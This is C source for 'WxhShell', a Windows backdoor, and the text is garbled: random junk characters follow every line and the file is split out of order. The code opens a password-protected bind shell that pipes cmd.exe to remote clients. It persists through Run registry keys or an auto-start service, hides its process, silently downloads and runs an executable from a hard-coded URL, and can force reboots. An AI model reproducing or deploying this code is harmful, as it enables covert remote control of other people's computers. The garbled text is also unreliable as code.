    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {k.Dy92  
    else { L'XX++2  
    closesocket(wsh); nO{@p_3mi  
    ExitThread(0); Rv R ,V  
    } Sn 3@+9J  
    break; b'\a 4  
    } 29P vPR6  
  // 获取shell $6\-8zNk  
  case 's': { ;4DqtR"7Y  
    CmdShell(wsh); 6- H81y 3  
    closesocket(wsh); V\k?$}  
    ExitThread(0); L`E^BuP/  
    break; r,^}/<*  
  } A#&Q(g\YE  
  // 退出 ="fq.Tt  
  case 'x': { !FwR7`i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x!$Dje}  
    CloseIt(wsh); Ta;'f7Oz  
    break; 5r1{l%?  
    } 2p3ep,  
  // 离开 uM3F[p%V^  
  case 'q': { 4Y>v+N^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jA ?tDAx`  
    closesocket(wsh); Fa]fSqy@;  
    WSACleanup(); 'M"JF;*r  
    exit(1); E]x)Qr2Ju  
    break; hVQ TW[  
        } c-S_{~~  
  } H` !%"  
  } YDEUiZ~  
e jY|o Bj  
  // 提示信息 Efo,5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qucw%hJr  
} $.Fti-5  
  } )3O0:]<H  
=X6+}YQ"  
  return; u@!iByVAg  
} U'IJwGRP  
W`zY\]  
// shell模块句柄 7/c[ f  
int CmdShell(SOCKET sock)  4{2)ZI#  
{ " bHeNWZ  
STARTUPINFO si; bJ8~/d]+  
ZeroMemory(&si,sizeof(si)); DwTqj=l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @D.]PZf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1iOQ8hD  
PROCESS_INFORMATION ProcessInfo; Mp;yvatO  
char cmdline[]="cmd"; .BLF7> M1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RfPRCIo  
  return 0; I"*;fdm  
} }@Mx@ S  
0>D:  
// 自身启动模式 D8+68_BEM  
int StartFromService(void) ^Pc>/lY$Q%  
{ 6`LC(Nv%-n  
typedef struct C9oF*{  
{ Pw4j?pv2  
  DWORD ExitStatus; p_hljgOV  
  DWORD PebBaseAddress; t(SSrM]  
  DWORD AffinityMask; ;d17xu?ks  
  DWORD BasePriority; 6MC*2}W  
  ULONG UniqueProcessId; ag6hhkj A  
  ULONG InheritedFromUniqueProcessId; ~;/\l=Xl  
}   PROCESS_BASIC_INFORMATION; I+ipTeB^  
QiU!;!s  
PROCNTQSIP NtQueryInformationProcess; "Fv6u]Rv  
X8T7(w<0%f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \Yv<Tz J9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W68d"J%>_  
A:"J&TbBx  
  HANDLE             hProcess; G>hmVd  
  PROCESS_BASIC_INFORMATION pbi; %]9 <a  
%9|=\# G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *qcL(] Yq  
  if(NULL == hInst ) return 0; &lYKi3}x  
K7&A^$`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xN t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rQNT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m,n V,}@J  
Fjc+{;x  
  if (!NtQueryInformationProcess) return 0; \6B,\l]$t@  
e=t?mDh#E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k fx<T  
  if(!hProcess) return 0; p9<OXeY   
LkFXUt?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +4emkDTdR  
 U4#[>*  
  CloseHandle(hProcess); mY9u/; dK  
YWA:741  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4+mawyM  
if(hProcess==NULL) return 0; n3{m "h3  
fM]McZ9)D  
HMODULE hMod; ki6`d?  
char procName[255]; ?U0iHg{  
unsigned long cbNeeded; x q93>Hs  
t" 1'B!4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ak50]KYo  
`+b>@2D_  
  CloseHandle(hProcess); +j5u[X  
pt8X.f,iA  
if(strstr(procName,"services")) return 1; // 以服务启动 zx\N^R;Jq  
:>lica_  
  return 0; // 注册表启动 v>Il #  
} |dNtM^  
ZNPzQ:I@  
// 主模块 x_Ki5~w5  
int StartWxhshell(LPSTR lpCmdLine) :=04_5 z  
{ 8eP2B281  
  SOCKET wsl; xJ9_#$ngeM  
BOOL val=TRUE; 96F:%|yG  
  int port=0; S=lA^#'UdX  
  struct sockaddr_in door; S[UHx}.  
{Ny\9r  
  if(wscfg.ws_autoins) Install(); &)Z8Qu  
1Qf21oN{  
port=atoi(lpCmdLine); k>{i_`*  
uVqJl{e\  
if(port<=0) port=wscfg.ws_port; ovCk :Vz  
,TU!W|($  
  WSADATA data; uMF\3T(x4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  1$idF  
B@*BcE?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %dZD;Vhg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xtjTU;T  
  door.sin_family = AF_INET; pooi8" G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :^kP?  
  door.sin_port = htons(port); <C6/R]x#  
lg;Y}?P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `<t{NJ&f  
closesocket(wsl); 'O`jV0aa'  
return 1; ;:*o P(9k  
} {549&]/o  
"}K/ b  
  if(listen(wsl,2) == INVALID_SOCKET) { BmrP]3W?  
closesocket(wsl); }Iub{30mp  
return 1; 8BNsh[+  
} ^Gv<Xl  
  Wxhshell(wsl); sVkR7 ^KsG  
  WSACleanup(); XrC{{K  
{R8Q`2R  
return 0; Wnl8XHPn  
Hi|2z5=V  
} LH 4-b-  
L5yxaF{]  
// 以NT服务方式启动 N(&FATZUW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nl_!%k:  
{ qx{.`AaZW  
DWORD   status = 0; `#fOY$#XB  
  DWORD   specificError = 0xfffffff; CpS' 2@6  
Beqhe\{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mkBQX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QC<( rx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h9+ylHW_cp  
  serviceStatus.dwWin32ExitCode     = 0; Dr`\  
  serviceStatus.dwServiceSpecificExitCode = 0; 0&/1{Dk*n  
  serviceStatus.dwCheckPoint       = 0; z9HQFRbo[  
  serviceStatus.dwWaitHint       = 0; A&9l|b-"  
~J<bwF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O%o#CBf0  
  if (hServiceStatusHandle==0) return; ejo4mQ]a  
j)-D.bY0  
status = GetLastError(); ZX-9BJ`Q  
  if (status!=NO_ERROR) jT: :o  
{ (6+6]`c$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8fM}UZI  
    serviceStatus.dwCheckPoint       = 0; @hzQk~Gdi  
    serviceStatus.dwWaitHint       = 0; `4}!+fXQ  
    serviceStatus.dwWin32ExitCode     = status; P+}qaup  
    serviceStatus.dwServiceSpecificExitCode = specificError; q'(WIv@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !+ uMH!  
    return; 'dWJ#9C  
  } phXVuQ  
ZX'{o9+w5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +8^9:w0}  
  serviceStatus.dwCheckPoint       = 0; [=U7V;5($  
  serviceStatus.dwWaitHint       = 0; 20?i4h_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =_":Z!_  
} V2VsJ  
h!K B%4V  
// 处理NT服务事件,比如:启动、停止 IJ4"X#Q/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %- A8`lf<  
{ 2)j\Lg_M  
switch(fdwControl) 1.,mNY^UN  
{ d`~#uN {  
case SERVICE_CONTROL_STOP: 1xguG7  
  serviceStatus.dwWin32ExitCode = 0; %4 SREq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3]N}k|lb%  
  serviceStatus.dwCheckPoint   = 0; M8[YW|VkP  
  serviceStatus.dwWaitHint     = 0; @O45s\4-*  
  { :m&`bq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~7 `x9MUc  
  } {6%uNT>|  
  return; >t D-kzN  
case SERVICE_CONTROL_PAUSE: ik$wS#1+L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $,aU"'D  
  break; H&03>.b  
case SERVICE_CONTROL_CONTINUE: |Y'$+[TE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K6Gc)jp:b  
  break; ,6M-xSDs  
case SERVICE_CONTROL_INTERROGATE: ,j_{IL690  
  break; &us8,x6yg  
}; _5`M( ;hL2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ep?a>\  
} "~V}MPt  
B4|`Z'U#;  
// 标准应用程序主函数 HO@T2t[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V)@MM2,  
{ QK?5)[ J  
JG( <  
// 获取操作系统版本 w4x8 Sre  
OsIsNt=GetOsVer(); mKsj7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ki=7nKs  
q#p)E=$  
  // 从命令行安装 5z]dA~;*2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'nT#3/rL  
o[v`Am?v  
  // 下载执行文件 eGTK^p  
if(wscfg.ws_downexe) { 8PEOi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g rfF\_[:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1)YFEU&]  
} J:(Shd'4D  
8^R>y  
if(!OsIsNt) { 8m1zL[.8g  
// 如果时win9x,隐藏进程并且设置为注册表启动 z=K5~nU  
HideProc(); i*^K)SI8  
StartWxhshell(lpCmdLine); RChY+3,L)  
} LqUvEq  
else 3FXMM&w  
  if(StartFromService()) gx6&'${=#  
  // 以服务方式启动 pbzbh&Y  
  StartServiceCtrlDispatcher(DispatchTable); ^&6NB)6  
else eAuJ}U[  
  // 普通方式启动 (C3d<a\:  
  StartWxhshell(lpCmdLine); P9>C!0 -x  
6AwnmGL(;;  
return 0; w-#0k.T  
} H9>&"=".  
AN%.LK  
2ga}d5lu  
RyhR#  
=========================================== xg^fM@#m  
b@X@5SJFW  
YpKai3 B  
d#d~t[=  
E{6}'FG+A  
u]2k%TUY  
" [.Y=~)7FB  
ho20> vw#  
#include <stdio.h> = ]@xXVf/  
#include <string.h> )/ZSb1!  
#include <windows.h> ZF t^q /pw  
#include <winsock2.h> ..T (9]h  
#include <winsvc.h> |X.z|wKT6  
#include <urlmon.h> q#a21~S<  
,9pi9\S  
#pragma comment (lib, "Ws2_32.lib") v8@dvT<  
#pragma comment (lib, "urlmon.lib") eLTNnz  
BE+Y qT  
#define MAX_USER   100 // 最大客户端连接数 YHA[PF   
#define BUF_SOCK   200 // sock buffer {Psj#.qP1  
#define KEY_BUFF   255 // 输入 buffer \'EWur"  
!K 9(OX2;  
#define REBOOT     0   // 重启 EK#m?O:>  
#define SHUTDOWN   1   // 关机 kC k-  
Y{yr-E #~M  
#define DEF_PORT   5000 // 监听端口 C49 G&  
1CM1u+<iZ  
#define REG_LEN     16   // 注册表键长度 64vSJx>u  
#define SVC_LEN     80   // NT服务名长度 yT n@p(J  
b910Z?B^L  
// 从dll定义API bpx=&74,6m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KCT8Q!\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G;m"ao"2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ul%bo%&~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @j (jOe  
:kVV.a#g  
// wxhshell配置信息 L C7LO  
struct WSCFG { &wuV}S 7  
  int ws_port;         // 监听端口  %aKkk)s  
  char ws_passstr[REG_LEN]; // 口令 "qsNySI  
  int ws_autoins;       // 安装标记, 1=yes 0=no {_~G+rqY  
  char ws_regname[REG_LEN]; // 注册表键名 GWVdNYpmr  
  char ws_svcname[REG_LEN]; // 服务名  d!t@A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (FaT{W{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H_j<%VW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _+N^yw,r*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pc7: hu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]x G8vy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yq}{6IyZ^  
RI(uG-Y  
}; ~ YK <T+  
` Z/ IW  
// default Wxhshell configuration 9CNHjs+-}s  
struct WSCFG wscfg={DEF_PORT, K_5&_P1  
    "xuhuanlingzhe", IebS~N E  
    1, 5);#\&B  
    "Wxhshell", JqUVGEg  
    "Wxhshell", X w8i l  
            "WxhShell Service", H5s85"U#  
    "Wrsky Windows CmdShell Service", x/7G0K2\}  
    "Please Input Your Password: ", 6.|~~/  
  1, LU{Z  
  "http://www.wrsky.com/wxhshell.exe", ]~^/w}(K  
  "Wxhshell.exe" 8UIL_nPO  
    }; =5ih,>>g  
4I-p/&Q  
// 消息定义模块 //Gvk|O1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Oi0;.< kX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JY2 F-0t)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dM UDLr-  
char *msg_ws_ext="\n\rExit."; `X='g96C1  
char *msg_ws_end="\n\rQuit."; tD]&et  
char *msg_ws_boot="\n\rReboot..."; 32iI :u  
char *msg_ws_poff="\n\rShutdown..."; JF*g!sV%  
char *msg_ws_down="\n\rSave to "; >, E$bm2  
 9+QrTO  
char *msg_ws_err="\n\rErr!"; 5E!m! nBZ  
char *msg_ws_ok="\n\rOK!"; B`scuLl3  
qN[7zsaj  
char ExeFile[MAX_PATH]; 7LwS =yP  
int nUser = 0; pQ 6#L  
HANDLE handles[MAX_USER]; f~FehN7  
int OsIsNt; U!/nD~A  
b8.%?_?  
SERVICE_STATUS       serviceStatus; YfwJBz D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0s|LK  
fmJWd|  
// 函数声明 2&0<$>  
int Install(void); *Zi%Q[0Me  
int Uninstall(void); p'uz2/g  
int DownloadFile(char *sURL, SOCKET wsh); $ rYS   
int Boot(int flag); &=Zg0Q  
void HideProc(void); />Vx*^u8Hz  
int GetOsVer(void); } 4]<P  
int Wxhshell(SOCKET wsl); ZZU8B?)  
void TalkWithClient(void *cs); #( sNk,^Ax  
int CmdShell(SOCKET sock); =&pN8PEn\  
int StartFromService(void); ,-3(^d\1F  
int StartWxhshell(LPSTR lpCmdLine); Z9&D'n)  
Jyci}CU3\Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7V{"!V5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 66<\i ltUQ  
LU,"i^T  
// 数据结构和表定义 " ^baiN@ac  
SERVICE_TABLE_ENTRY DispatchTable[] = i=UTc1  
{ 7f%Qc %B  
{wscfg.ws_svcname, NTServiceMain}, NNw d;AC  
{NULL, NULL}  - 1  
}; L"h@`3o|  
h.$__Gs  
// 自我安装 ky[Xf -9#  
int Install(void) .crM!{<Y  
{ dB+GTq=6f  
  char svExeFile[MAX_PATH]; 7NB 9Vu|gD  
  HKEY key; $p3Wjf:bH  
  strcpy(svExeFile,ExeFile); e=l5j"gq  
~H|LWCU)K8  
// 如果是win9x系统,修改注册表设为自启动 AC:s4iacC  
if(!OsIsNt) { RzRvu]]8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p=+*g.,O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O^Vy"8Ji}y  
  RegCloseKey(key); M`P]cX)x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OawrS{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2nU NI U  
  RegCloseKey(key); iW@Vw{|i I  
  return 0; Hu9R.[u  
    } lF8 dRIav  
  } DRW.NL o  
} i!W8Q$V  
else { S@xsAib0J  
pLQSG}N  
// 如果是NT以上系统,安装为系统服务 )L<?g !j~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0r-lb[n8i  
if (schSCManager!=0) I?Jii8|W9  
{ |SP.S 0.y  
  SC_HANDLE schService = CreateService tnF9Vj[#%_  
  ( mvA xx`jc  
  schSCManager, *:T>~ilF  
  wscfg.ws_svcname, s`iNbW="  
  wscfg.ws_svcdisp, <W51oO  
  SERVICE_ALL_ACCESS, ^q&wITGI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )fMX!#KP  
  SERVICE_AUTO_START, B~;LBgpp  
  SERVICE_ERROR_NORMAL, >?9 WeXG  
  svExeFile, q 9brpbg_  
  NULL, mu6xL QdA  
  NULL, PyT}}UKj:  
  NULL, "56?/ jF  
  NULL, +Bq}>  
  NULL ]X: rby$  
  ); R_Gq8t$  
  if (schService!=0) !+A"Lej  
  { ^?X ^+  
  CloseServiceHandle(schService); j t`p<gI  
  CloseServiceHandle(schSCManager); 7#9'2dI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 380->  
  strcat(svExeFile,wscfg.ws_svcname); # 5f|1O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (Cl`+ V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C*s0r;  
  RegCloseKey(key); rF'^w56  
  return 0; R'9@A\7#  
    } IN|i)?r h  
  } ,-7/]h,l  
  CloseServiceHandle(schSCManager); OHP3T(Q5  
} {|5$1v   
} j,56Lh%1  
Vr-3M+l=O  
return 1; L`\`NNQC  
} R )d99j^"  
_.OMjUBZT  
// 自我卸载 f1Yv hvWL  
int Uninstall(void) 1V**QSZ1  
{ /SCZ&  
  HKEY key; EK8E  
Q Bfhyo_  
if(!OsIsNt) { fa4951_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { => uVp  
  RegDeleteValue(key,wscfg.ws_regname); [)H,zpl  
  RegCloseKey(key); 2-6.r_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /G)KkBC  
  RegDeleteValue(key,wscfg.ws_regname); 7/&C;"  
  RegCloseKey(key); -[f "r`  
  return 0; T`g?)/  
  } Lf; ta  
}  &6\r  
} V|3yZ8lE  
else { :^H9W^2  
Zc4(tf9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8L7Y A)u  
if (schSCManager!=0) V/(`Ek-  
{ AJ>BF.>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Th~3mf #  
  if (schService!=0) )'j_D<  
  { )l!J$X+R  
  if(DeleteService(schService)!=0) { h{W$ fZc<  
  CloseServiceHandle(schService); Y|m_qB^_  
  CloseServiceHandle(schSCManager); qD(fYOX{C  
  return 0; bIb6yVnHi  
  } u+mjguIv  
  CloseServiceHandle(schService); Q$?7)yyu+  
  } 7cUR.PI#Q  
  CloseServiceHandle(schSCManager); %UUp=I  
} Ok}{jwJ%W;  
} o\@ A2r3  
agU%z:M{  
return 1; N"YK@)*Q  
} n&0mz1rw  
T .Pklty  
// 从指定url下载文件 DMAf^.,S  
int DownloadFile(char *sURL, SOCKET wsh) 6z9R1&~%  
{ ;}n9y ci#  
  HRESULT hr; u#41osUVW>  
char seps[]= "/"; Uh3wj|0  
char *token; B_SZ?o  
char *file; @tr&R==([  
char myURL[MAX_PATH]; N+\oFbE  
char myFILE[MAX_PATH]; er[" NSo  
u[V4OU}%  
strcpy(myURL,sURL); fqcU5l[v,  
  token=strtok(myURL,seps); 2 ?Pt Z  
  while(token!=NULL) Q$xa  
  { Em~7D ]Y  
    file=token; V17>j0Ev$W  
  token=strtok(NULL,seps); 9tzoris[~  
  } }zkL[qu;  
c!\.[2n  
GetCurrentDirectory(MAX_PATH,myFILE); jw/'*e  
strcat(myFILE, "\\"); C<[d  
strcat(myFILE, file); w8 ?Pb$Fe  
  send(wsh,myFILE,strlen(myFILE),0); mP9cBLz  
send(wsh,"...",3,0); q Z8|B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G0I~&?nDa  
  if(hr==S_OK) TJHN/Z/  
return 0; C6K|:IK{  
else b4Ricm  
return 1; 6 WA|'|}=  
1.Haf  
} t{/:(Nu  
p!HPp Ef+#  
// 系统电源模块 "XGD:>Q.  
int Boot(int flag) vnz[w=U  
{ TpJg-F  
  HANDLE hToken; Zg)_cRR   
  TOKEN_PRIVILEGES tkp; )ZT6:)  
=d go!k  
  if(OsIsNt) { Q^$ghZ6V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZhhI@_sz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zW%>"y  
    tkp.PrivilegeCount = 1; 7))y}N:p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;\<""Yj@l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \p5|}<Sr)  
if(flag==REBOOT) { zb"rMzCH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SQh+5  
  return 0; :d;[DYFLxb  
} 69t7=r  
else { F;IP3tD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mSU@UD|'  
  return 0; C-Nuy1o  
} lbQ6 a  
  } fA"<MslKLK  
  else { -h>Z,-DE6  
if(flag==REBOOT) { r0)JUc}Fyq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8 ne/=N|,  
  return 0; gO+\O  
} ~c9>Nr9|`  
else { |w=Ec#)t4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S-isL4D.Z  
  return 0; gzVtxDh  
} S4L-/<s[*  
} <KKDu$W|T  
TNh=4xQ}  
return 1; ^ Xm/  
} M0RRmW@f.a  
tS?a){^:c  
// win9x进程隐藏模块 t";{1.  
void HideProc(void) znt)]>f#  
{ ?F ce!J  
RTK}mhnV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); inYM+o!Ub  
  if ( hKernel != NULL ) 2Oyy`k  
  { @'*eC}\E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'z)hG#{I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LyGUvi  
    FreeLibrary(hKernel); yC W*fIaq  
  } ITVQLQ  
}x]&L/  
return; ypH8QfxLTr  
} B9YsA?hg  
 BY3bpR  
// 获取操作系统版本 {1jpLdCbV^  
int GetOsVer(void) vwVVBG;t  
{ y>$1 UwQ  
  OSVERSIONINFO winfo; XcOA)'Py  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +fM&su=wl  
  GetVersionEx(&winfo); S"zk!2@C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x5oOF7#5  
  return 1; d]8_l1O  
  else Q8;#_HE  
  return 0; (/&;jV2DD[  
} Nu@5 kwH  
G%S6$@:  
// 客户端句柄模块 /?Vdqci  
int Wxhshell(SOCKET wsl) _l<mu?"  
{ cg,Ua!c  
  SOCKET wsh; @@Q6TB  
  struct sockaddr_in client; [q1Unm  
  DWORD myID; }g>kpa0c  
Y=E9zUF  
  while(nUser<MAX_USER) Rv,82iEKs  
{ qYK4)JP  
  int nSize=sizeof(client); k=?^){[We  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jn=42Q:>  
  if(wsh==INVALID_SOCKET) return 1; mwIk^Sz]@  
T tPr)F|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #: #Dz.$L  
if(handles[nUser]==0) 6a*83G,k  
  closesocket(wsh); RwW$O@0  
else J@QdieW6  
  nUser++; vs +QbI6>-  
  } -j&Vtr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oCVku:.  
OqBC/p B  
  return 0; p;0 PxL=  
} &iNS?1a%f=  
gXt O*Rfqk  
// 关闭 socket h$pk<<  
void CloseIt(SOCKET wsh) ys%zlbj[  
{ +i.u< T  
closesocket(wsh); r!kLV)_  
nUser--; MWs~#ReZ  
ExitThread(0); hk_g2g  
} oSY7IIf%L  
-(9O6)Rs$  
// 客户端请求句柄 L6+C]t}>6  
void TalkWithClient(void *cs) 9/@ &*  
{ paWxanSt  
!MoOKW  
  SOCKET wsh=(SOCKET)cs; Yl~$V(  
  char pwd[SVC_LEN]; "]#'QuR  
  char cmd[KEY_BUFF]; ul@3 Bt  
char chr[1]; I^G^J M!  
int i,j; h=6xZuA\  
F+uk AT  
  while (nUser < MAX_USER) { Q_]~0PoH  
Ux}W&K/?'  
if(wscfg.ws_passstr) { |gv{z"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FaY_ 0G;y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >F[GVmC  
  //ZeroMemory(pwd,KEY_BUFF); KQ{Lt?S  
      i=0; fQU{SjG  
  while(i<SVC_LEN) { tuxRVV8l  
NEV p8)w  
  // 设置超时 s?c JV `  
  fd_set FdRead; OPuj|%Wgw  
  struct timeval TimeOut; OxQYNi2  
  FD_ZERO(&FdRead); 6\n?4 8x}  
  FD_SET(wsh,&FdRead); zTY;8r+  
  TimeOut.tv_sec=8; mj2Pk,,SA  
  TimeOut.tv_usec=0; Nqc p1J"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z)}!e,7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9i=B  
YJ,*(A18  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (.?ZKL  
  pwd=chr[0]; ^m%52Tm h  
  if(chr[0]==0xd || chr[0]==0xa) { w"8V0z  
  pwd=0; ~}Z'0W)Q`z  
  break; %(<(Y  
  } aGK@)&h$  
  i++; \uM? S  
    } fu R2S70d  
I]R9HGJNlJ  
  // 如果是非法用户,关闭 socket ((<`zx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ()\jCNLT  
} 9I .^LZ"  
yMxTfR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B!;+_%P76  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -V5w]F'  
68e[:wf  
while(1) { [T^?Q%h  
dJD(\a>r.u  
  ZeroMemory(cmd,KEY_BUFF); OlY$ v@|  
CU$#0f>  
      // 自动支持客户端 telnet标准   bd== +   
  j=0; >c~RI7uu  
  while(j<KEY_BUFF) { m`}{V5;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xu\eXx6H  
  cmd[j]=chr[0]; n]yEdL/1  
  if(chr[0]==0xa || chr[0]==0xd) { ashar&'  
  cmd[j]=0; x[i`S8D  
  break; PeTA$Yl  
  } e2w&&B-  
  j++; EzpFOqJG  
    } 5=L} \ankn  
-RMi8{  
  // 下载文件 Ef@,hX  
  if(strstr(cmd,"http://")) { Ck'aHe22'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cb$-6ZE/  
  if(DownloadFile(cmd,wsh)) 0L#/lDNk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )`+YCCa6F  
  else pe.QiMW{8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` A)"%~  
  } +Xy*?5E;C  
  else { &<]<a_pw  
i9A~<  
    switch(cmd[0]) { [4Q"#[V&9  
  :O-1rD  
